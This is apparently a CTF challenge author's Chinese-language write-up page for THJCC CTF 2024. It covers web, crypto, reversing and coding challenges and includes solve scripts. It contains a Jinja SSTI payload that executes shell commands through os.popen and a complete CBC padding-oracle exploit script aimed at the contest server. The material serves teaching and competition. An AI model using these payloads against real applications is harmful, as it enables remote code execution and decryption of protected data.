owned this note
owned this note
Published
Linked with GitHub
# THJCC CTF 2024 Write Ups for my challenges
我在2024台灣高中生聯合資安競賽中出的題目解答
大多都是新手導向的題目,希望大家覺得好玩 > <
## Web
### Blog
從登入頁面看到奇怪的留言 iloveshark
![image](https://hackmd.io/_uploads/By2bwgaWA.png)
點入login後以 admin/iloveshark登入
![image](https://hackmd.io/_uploads/r1yXPlaWR.png)
取得flag
![image](https://hackmd.io/_uploads/ByGBDepZC.png)
### Empty
Flag (1/2)
檢查cookie發現第一段flag
![image](https://hackmd.io/_uploads/HJ2sPgT-R.png)
Flag (2/2)
view source後發現隱藏路徑:`/Wh4leE4tSh4rk.html`
![image](https://hackmd.io/_uploads/BJKCPlTWA.png)
連進去
![image](https://hackmd.io/_uploads/r1sedeTW0.png)
### Simplify
以提供的 test/test1234 登入後觀察cookie
![image](https://hackmd.io/_uploads/S1vALbab0.png)
將它改成admin
![image](https://hackmd.io/_uploads/Bk4gw-aZC.png)
成功繞過!!!
![image](https://hackmd.io/_uploads/Sk_XwZ6WC.png)
從原始碼找到提示:Render SSTI
從網路上挖payload RCE (O)
```
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
```
![image](https://hackmd.io/_uploads/H1Vtw-aW0.png)
## Crypto
### Baby RSA
小e攻擊,直接`gmpy2.iroot(c, 3)`就好ㄌ
### iRSA
原始碼裡面有提供基本的複數運算,可以不用先會沒關係~
利用$(p+2qi)*(q+2pi)=-3pq+(2p^2+2q^2)i$可以解出p, q,最後依次做基本的RSA運算就好。
其中有一個$N$可以查factor db,~~我特別丟上去的~~
## REV
### Baby C
babyc.c
```c
#include"stdio.h"
#include"stdlib.h"
#include"string.h"
int main(){
char c[50];
int a[50]={44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5};
scanf("%s", c);
for(int i=0;i<50;i++){
if (((int)c[i]^120)!=a[i]){
printf("Password Incorrect!!!\n");
return 0;
}
}
printf("Password Correct!!!\n");
return 0;
}
```
xor都給ㄌ,直接炸回去
Solve Script
```py
a=[44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
flag=''
for i in a:
flag+=chr(i^120)
print(flag)
```
![image](https://hackmd.io/_uploads/Hynfyz6-A.png)
## PWN
### NPSC
~~最最最有趣的競程題~~:
解法複雜度:$O(N)$
先用一個ans=0的初始變數維護最大值,從第一個數字開始掃過去,如果手上的數字比下一個大就繼續把他吃掉,不然就跟ans比誰大,然後歸零從下一個數字開始吃。
solve script:
```py
from pwn import *
r=remote('23.146.248.36', 30003)
#r=remote('0.0.0.0', 29999)
s=r.recvlines(3)
print(s)
def judge(a):
cnt=0
ans=0
for i in range(len(a)):
cnt+=a[i]
if i+1<len(a) and cnt<a[i+1]:
ans=max(cnt, ans)
cnt=0
ans=max(ans, cnt)
return ans
for i in range(3):
s=r.recvline()
print(s)
for j in range(10):
s=r.recvline()
print(s)
exec('a='+str(s)[2:-3])
# print(a)
r.sendline(str(judge(a)).encode())
s=r.recvline()
print(s)
r.interactive()
```
## INSANE
### Baby AES
我在這次比賽出最用心的一個題目,高中正式組有一個人解出來我很開心
題目腳本:
BabyAES.py
```py
from Crypto.Cipher import AES
import os
import hmac
flag=b'THJCC{u_just_break_my_MBC_C1ph3r_mode,_w3ll_don3!!!}'
key=os.urandom(16)
IV=os.urandom(16)
ecb = AES.new(key, AES.MODE_ECB)
cbc = AES.new(key, AES.MODE_CBC, IV)
passphrase=b'eating_whale...'
def pad(data):
p = (16 - len(data) % 16) % 16
return data + bytes([p]) * p
def chk_pad(data):
if len(data)==16:
print("Padding Correct")
elif not all([x == data[-1] for x in data[-data[-1]:]]):
print("Padding Error")
else:
print("Padding Correct")
def sign(x):
x=pad(x)
return hmac.new(key, x, 'sha256').hexdigest()
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
def MBC(x):
x=pad(x)
iv=IV
final=b''
for i in range(0, len(x), 16):
cur=ecb.encrypt(x[i:i+16])
final+=xor(iv, cur)
iv=x[i:i+16]
return final
print("Welcome to my MBC server")
print("It has more security than ECB I think...")
print("Login first, your message should all be hex encoded!")
isadmin=False
while isadmin==False:
print("We have two functions:")
print("1.Verify your identity:")
print("2.Sign a message")
option=int(input("Option(1/2):"))
if option!=1 and option !=2:
print("Error, your choise should be 1 or 2")
elif option==1:
x=input("Your signed key(hex encoded):")
if sign(passphrase)==x:
print("Verified!!!")
isadmin=True
else:
print("Failed")
else:
x=input("Sign a message(hex encoded):")
if bytes.fromhex(x)==passphrase:
print("Bad Hacker :(")
else:
print(sign(bytes.fromhex(x)))
print("You have two options")
print("This is the encrypted flag(CBC MODE): ") # I know that CBC mode is mush more safer than my MBC mode.
print(cbc.encrypt(pad(flag)).hex())
cbc = AES.new(key, AES.MODE_CBC, IV)
while True:
print("Option 1: MBC MODE Encrypter")
print("Option 2: CBC MODE Pad Checker")
option=int(input("Your option(1/2):"))
if option == 1:
x=input("Encrypt a message(hex encoded):")
print(MBC(bytes.fromhex(x)).hex())
elif option == 2:
x=input("Check a padding(hex encoded):")
chk_pad(cbc.decrypt(pad(bytes.fromhex(x))))
else:
print("Invalid method...")
```
觀察一下登入,會發現pad在長度為16的時候不會做任何事,而拿去hash的東西會是`b'eating_whale...\x01'`但我只有過濾`b'eating_whale...'`不能input,所以改成`b'eating_whale...\x01'`一樣能拿到當次的hash值
再來,我自己定義的MBC Cipher MODE有被bit flipping的弱點,進而可以取得IV:
```py
r.sendline(b'0'*64)
leak=bytes.fromhex(r.recvuntil(b'\n')[:-1].decode())
IV=xor(leak[0:16], leak[16:32])
```
全部塞`b'\x00'`然後加密結果前16 bytes跟後16bytes互相xor就是IV,不難理解,自己可以想想看。
最後一步就是利用取得的IV 搭配 CBC Padding Oracle攻擊。
Solve Script:
```py
from pwn import *
from tqdm import *
r=remote('23.146.248.36', 20003)
def oracle(mess):
s=r.recvlines(2)
s=r.recvuntil(b':')
r.sendline(b'2')
s=r.recvuntil(b':')
r.sendline(mess.hex().encode())
return b'Correct' in r.recvline()
s=r.recvlines(6)
print(s)
s=r.recvuntil(b':')
r.sendline(b'2')
s=r.recvuntil(b':')
r.sendline(b'656174696e675f7768616c652e2e2e01')
sign=r.recvline()[:-1]
s=r.recvlines(3)
s=r.recvuntil(b':')
r.sendline(b'1')
s=r.recvuntil(b':')
r.sendline(sign)
s=r.recvlines(3)
enc_flag=bytes.fromhex(r.recvline()[:-1].decode())
s=r.recvlines(2)
s=r.recvuntil(b':')
r.sendline(b'1')
s=r.recvuntil(b':')
r.sendline(b'0'*64)
leak=bytes.fromhex(r.recvuntil(b'\n')[:-1].decode())
IV=xor(leak[0:16], leak[16:32])
flag=IV+enc_flag
ans=b''
cur=b''
#r.interactive()
for i in trange(0, len(flag)-16, 16):
iv, mess=flag[i:i+16], flag[i+16:i+32]
for j in trange(16):
now=15-j
for k in range(256):
if oracle(iv[:now]+bytes([k])+xor(cur, iv[now+1:], chr(16-now).encode()*(15-now))+mess):
if now==15:
if k!=iv[15]:
cur=xor(k, iv[15], 1)+cur
break
else:
cur=xor(k, iv[now], (16-now))+cur
break
ans+=cur
print(ans)
cur=b''
```
### PELL
純純的數學題(吸)
pell.py
```py
from Crypto.Util.number import *
from Crypto.Cipher import AES
from collections import namedtuple
import os
# define some stuffs about point
Point=namedtuple("Point", "x y")
def Point_Addition(P, Q):
X=(P.x*Q.x+d*P.y*Q.y)%p
Y=(Q.x*P.y+P.x*Q.y)%p
return Point(X, Y)
def Point_Power(P, x):
Q=Point(1, 0)
while(x>0):
if x%2==1:
Q=Point_Addition(Q, P)
x>>=1
P=Point_Addition(P, P)
return Q
# encryption
key=os.urandom(16)
m=bytes_to_long(key)
cipher = AES.new(key, AES.MODE_ECB)
flag=b'THJCC{FAKE_FLAG}'
p=22954440473064692367638020521915192869513867655951252438024058919141
d=1008016
G=Point(1997945712322124204937815965902875623145811005630602636960422269513, 252985428778294107560116770944951015145970075431259613311231816)
C=Point_Power(G, m)
print(f"{C=}\n{p=}\n{d=}")
secret=bytes_to_long(cipher.encrypt(flag))
print(f"{secret=}")
```
可以發現對於點$P(x, y)$,存在對應$P(x, y) \rightarrow x+y*\sqrt d$把點變成整數且仍然滿足題目定義的點運算`Point_Addition`性質(自己拿筆算,驗證看看!!!)。
做完這步驟就是標準的整數DLP問題,利用Pohlig-Hellman attack就可以實作(網路上有script)
Solve script:
```py
from sympy.polys.galoistools import gf_crt
from sympy.polys.domains import ZZ
import gmpy2
import random
# sage version
'''
def solve_discrete_log(p, g, A):
F = GF(p)
g, A = F(g), F(A)
a = discrete_log(A,g)
return a
'''
def Pohlig_Hellman(g, h, p):
p_1 = p - 1
d, factors = 2, []
while p_1!=1:
while (p_1 % d) == 0:
factors.append(d)
p_1 //= d
d += 1
factors = [[i, factors.count(i)] for i in set(factors)]
x = []
for factor in factors:
print("[x]", factor)
c_i_list = []
for i in range(factor[1]):
if i != 0:
beta = (beta * pow(g, -(c_i_list[-1] * (factor[0] ** (i - 1))), p)) % p
else:
beta = h
e1 = pow(beta, (p-1) // (factor[0] ** (i + 1)), p)
e2 = pow(g, (p-1) // factor[0], p)
for c_i in (range(factor[0])):
if pow(e2, c_i, p) == e1:
c_i_list.append(c_i)
break
x.append(c_i_list)
system = []
for i, factor in enumerate(factors):
res = 0
for j, x_j in enumerate(x[i]):
res += x_j * (factor[0] ** j)
res = res % (factor[0] ** factor[1])
system.append(res)
factors = [factors[i][0] ** factors[i][1] for i in range(len(factors))]
result = gf_crt(system, factors, ZZ)
return result
xg=2251943082815531488928173203931606442352364961363587288724899012777
xh=3620329099657742062187693451873462737625932034695683084237035127743
xp=22954440473064692367638020521915192869513867655951252438024058919141
print(Pohlig_Hellman(xg, xh, xp))
```